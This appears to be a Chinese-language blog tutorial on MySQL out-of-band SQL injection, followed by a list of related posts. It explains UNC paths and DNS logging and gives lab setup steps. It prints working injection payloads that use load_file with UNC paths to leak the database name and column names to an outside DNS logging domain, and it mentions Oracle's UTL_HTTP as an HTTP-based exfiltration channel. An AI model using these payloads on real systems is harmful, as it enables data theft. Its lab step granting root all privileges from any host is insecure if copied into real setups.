mysql注入-OOB注入
OOB注入
带外通道技术(Out-Of-Band )
带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用没有直接回显的漏洞。
这一类漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。
带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。
利用条件:
脆弱的系统(mysql的OOB注入需要的secure_file_priv的值为空)
查看值:select global variables like ‘%secure_file_priv%’;
预备知识点
DNS查询
UNC路径——可以用于共享文件夹
UNC( Universal Naming Convention)/通用命名规则
Windows主机默认存在, Linux主机默认不存在。格式
servername\sharename,其中 servername是服务器名。 sharename是共享资源的名称。
我们平时使用的打印机、网络共享文件夹时,都会用到UNC填写地址。并且当我们在使用UNC路径时,会对域名进行DNS查询。
泛域名解析:可以使用通配符的方式将次级域名都解析到同一个域名,如*.example.com这样的通配符可以解析 xxx.example.com。
环境搭建
1.phpstudy -——使用环境 :win2003 phpstudy
mysql 远程访问权限开启:
use mysql;
grant all privileges on *.* to root@'%' identified by '密码';flush privileges;
——————————————————————————
grant all privileges on . to root@’%’ identified by ‘密码’; # 这里的’密码‘为你给新增权限用户设置的密码,% 表示所有主机,也可以填需要访问的IP
flush privileges; # 这一步一定要做,不然无法成功! 这句表示从mysql数据库的grant表中重新加载权限数据,因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载。
2.CEYE ——DNS query
可以看到DNS查询的数据,传输的数据是明文的。
SQL OOB注入示例
load_file
函数原型:load_file(file_path)
load_file()函数是MySQL中一个常用的函数,主要用来读取文件内容。
该函数会读取文件内容,并将文件内容作为字符串返回。如果读取失败会返回NULL。
所以需要修改下secure_file_priv的策略:
如果想要完成任意目录下文件读取需要在/etc/my.conf(my.ini)中将secure_file_priv的值置为空。
注入语句:
分析:利用了Windows默认开启UNC路径
参考payload:
mgk51i 是ceye平台上每个注册用户生成的独立子域名,具体可以到http://ceye.io/看使用方法
?id=1' and load_file(concat("\\\\",(select database()),".mgk51i.ceye.io\\abc")) --+?id=1' and load_file(concat("\\\\",(select group_concat(column_name) from information_schema.columns where table_name='student'),".mgk51i.ceye.io\\abc")) --+
拓展——大文件传输思路:
分析:substr可以分割长内容,to_base64 可以防止二进制传输(中文乱码)的情况
注意点:
域名由标签组成,以点(.)分隔,标签的长度不可以超过63个字符。整个域名不可以超过253个字符,包括点(﹒)。
mysql5.6之前不带有to_base64()和from_base64()两个内置函数【base64加解密函数】,Windows2003测试环境的mysql为5.5版本,无法使用这个
扩展-HTTP带外注入-Oracle
UTL_HTTP.request
Oracle 发起HTTP请求
UTL_HTTP.REQUEST ( url IN VARCHAR2,proxy IN VARCHAR2 DEFAULT NULL);
url:目标服务器地址
porxy:代理服务器地址,该参数为可选参数
它的返回类型是长度为2000或更短的字符串,它包含从 HTTP请求返回到参数URL的HTML结果的前2000个字节。
参数
它的返回类型是长度为2000或更短的字符串,它包含从 HTTP请求返回到参数URL的HTML结果的前2000个字节。
mysql注入-OOB注入相关推荐
- php mysql 防 sql注入_php 防sql注入方法
php防sql注入的方法:1.使用mysql_real_escape_string方法转义SQL语句中使用的字符串中的特殊字符:2.打开magic_quotes_gpc来防止SQL注入:3.通过自定义 ...
- mysql注入实例获取答案_本文实例讲述了MySQL解决SQL注入的另类方法。分享给大家供大家参考,具体如下:问题解读我觉得,这个问题每年带来的成本可以高达数十亿美元了。本文就来谈谈,...
本文实例讲述了MySQL解决SQL注入的另类方法.分享给大家供大家参考,具体如下: 问题解读 我觉得,这个问题每年带来的成本可以高达数十亿美元了.本文就来谈谈,假定我们有如下 SQL 模板语句: se ...
- 雷林鹏分享:MySQL 及 SQL 注入
MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入 ...
- 三十一、MySQL 及 SQL 注入
MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入 ...
- mysql 8.0 自定义函数_PHP+Mysql防止SQL注入的方法(life)
这篇文章介绍的内容是关于PHP+Mysql防止SQL注入的方法,有着一定的参考价值,现在分享给大家,有需要的朋友可以参考一下 我的官方群点击此处. 方法一: mysql_real_escape_str ...
- phpcms mysql 事务_phpcms某站点MySQL报错注入
phpcms某站点MySQL报错注入 Referer可注入:GET /index.php HTTP/1.1Referer: 123*User-Agent: Mozilla/5.0 (iPhone; C ...
- 遭遇一次MySQL猜解注入攻击
遭遇一次MySQL猜解注入攻击 前些日子数据库被入侵,文章的阅读数都被纂改了,还好及时发现并做好备份.查一下 MySQL 语句记录,发现这么原来是这么一句 SQL 在捣鬼: 1 UPDATE tabl ...
- mysql union as 注入_sql注入入门 之 mysql 常规注入 [ union方式 ]
1,常规数字型 mysql 实例注入点,如下:1https://www.vuln.com/md_materia_profile_view.php?viewid=2 2,依旧先尝试下经典的单引号,如下, ...
- mysql 防注入 php_PHP+mysql防止SQL注入的方法小结
本文实例讲述了PHP+mysql防止SQL注入的方法.分享给大家供大家参考,具体如下: SQL注入 例:脚本逻辑 $sql = "SELECT * FROM user WHERE useri ...
最新文章
- 无需「域外」文本,微软:NLP就应该针对性预训练
- 计算机可以保研什么专业吗,【计算机专业推免】推免生是什么?成为推免生要达到那些要求?...
- 2021年度脑机接口重大事件和进展汇总
- php oracle 问题,Oracle PHP 故障诊断常见问题以及解答
- 基于Keras的LSTM多变量时间序列预测
- 用Python轻松开发数据库取数下载工具
- Random Forest算法简介
- LeetCode 1641. 统计字典序元音字符串的数目(DP)
- mysql 元数据获取_[MySQL] 获取元数据的步骤
- Eclipse Pydev 技巧汇编
- My97DatePicker 组件使用方法---My97DatePicker
- Netty-2-服务端创建多个handler
- [TCP/IP] TCP建立与终止
- opencv-python 霍夫变换
- 小觅双目相机陀螺仪静态数据输出为0+timeshift ubuntu 系统备份
- 关于员工的选用任留,我们谈谈留人
- mand-mobile-rn 多 Android Module link 实现
- 锐龙r3 4100核显 r3 4100参数 r3 4100评测
- 关于matlab好文推荐
- 彻底解决python关于各种文件(音乐、视屏等)读写的操作